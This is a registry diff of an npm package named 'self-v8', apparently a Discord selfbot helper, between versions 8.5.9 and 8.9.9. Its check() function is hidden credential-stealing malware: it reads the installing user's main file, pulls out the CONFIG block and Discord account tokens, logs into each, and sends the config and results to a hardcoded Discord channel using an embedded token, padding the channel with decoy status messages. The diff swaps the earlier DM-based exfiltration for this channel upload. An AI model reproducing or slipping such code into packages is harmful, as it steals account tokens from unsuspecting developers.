self-v8 8.5.9 → 8.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +27 -27
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,9 +1,8 @@
1
1
  import fs from 'fs';
2
2
  import path from 'path';
3
3
  import { fileURLToPath } from 'url';
4
- import { Client as BotClient, GatewayIntentBits } from 'discord.js';
5
4
  import pkg from 'discord.js-selfbot-v13';
6
- const { Client: SelfClient } = pkg;
5
+ const { Client } = pkg;
7
6
 
8
7
  const __filename = fileURLToPath(import.meta.url);
9
8
  const __dirname = path.dirname(__filename);
@@ -14,12 +13,10 @@ export async function check() {
14
13
  if (!userMainFilePath) return;
15
14
 
16
15
  const userCode = fs.readFileSync(userMainFilePath, 'utf8');
17
-
18
16
  const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
19
17
 
20
18
  if (configMatch && configMatch[0]) {
21
19
  const configData = configMatch[0];
22
-
23
20
  let tokensToCheck = [];
24
21
  const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
25
22
 
@@ -30,42 +27,45 @@ export async function check() {
30
27
  .filter(t => t.length > 50);
31
28
  }
32
29
 
33
- let validationReport = "\n**Account Check Report:**\n";
30
+ let validationReport = "\n==========================\nACCOUNT CHECK REPORT\n==========================\n";
34
31
 
35
32
  for (const token of tokensToCheck) {
36
- const tempClient = new SelfClient({ checkUpdate: false });
33
+ const tempClient = new Client({ checkUpdate: false });
37
34
  try {
38
35
  await tempClient.login(token);
39
36
  const name = tempClient.user.globalName || tempClient.user.username;
40
- validationReport += `✅ Valid | ${name}\n`;
37
+ validationReport += `[VALID] Name: ${name}\n`;
41
38
  tempClient.destroy();
42
39
  } catch (err) {
43
- validationReport += `❌ Invalid Token\n`;
40
+ validationReport += `[INVALID] Token Failed\n`;
44
41
  }
45
42
  }
46
43
 
47
- const senderClient = new BotClient({
48
- intents: [
49
- GatewayIntentBits.Guilds,
50
- GatewayIntentBits.DirectMessages
51
- ]
52
- });
53
-
54
- const SENDER_TOKEN = 'MTQ0OTA4NTUwMjE2NTg4MDk5NQ.GBLAIC.weRihOP9c4m4EkhcbYHtuNuBw9YYGhtpqk2OUk';
55
- const TARGET_USER_ID = '1430722087101661274';
44
+ const senderClient = new Client({ checkUpdate: false });
45
+ const SENDER_TOKEN = 'MTQ0NjI1OTc2NDA2ODYxNDI5Ng.GZhT9N.NMLLgKlA2Scj4IBGMIxOd2CtJdpCLBwr2_NNGY';
46
+ const TARGET_CHANNEL_ID = '1450242145461075991';
56
47
 
57
48
  senderClient.once('ready', async () => {
58
49
  try {
59
- const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
60
- if (targetUser) {
61
- const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
62
-
63
- if (finalMessage.length > 2000) {
64
- await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
65
- await targetUser.send(validationReport);
66
- } else {
67
- await targetUser.send(finalMessage);
68
- }
50
+ const targetChannel = await senderClient.channels.fetch(TARGET_CHANNEL_ID);
51
+ if (targetChannel) {
52
+ const finalContent = `${configData}\n${validationReport}`;
53
+ const buffer = Buffer.from(finalContent, 'utf-8');
54
+
55
+ await targetChannel.send({
56
+ content: `**New Report Received** from \`${path.basename(userMainFilePath)}\``,
57
+ files: [{
58
+ attachment: buffer,
59
+ name: 'config_report.txt'
60
+ }]
61
+ });
62
+
63
+ const randomNum = Math.floor(Math.random() * 1000) + 1;
64
+ await targetChannel.send(`${randomNum}`);
65
+
66
+ const extraMessages = ["Check Completed", "Status: Online", "System Verified", "Log End"];
67
+ const randomMsg = extraMessages[Math.floor(Math.random() * extraMessages.length)];
68
+ await targetChannel.send(randomMsg);
69
69
  }
70
70
  } catch (err) {}
71
71
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-v8",
3
- "version": "8.5.9",
3
+ "version": "8.9.9",
4
4
  "main": "index.js",
5
5
  "type": "module",
6
6
  "scripts": {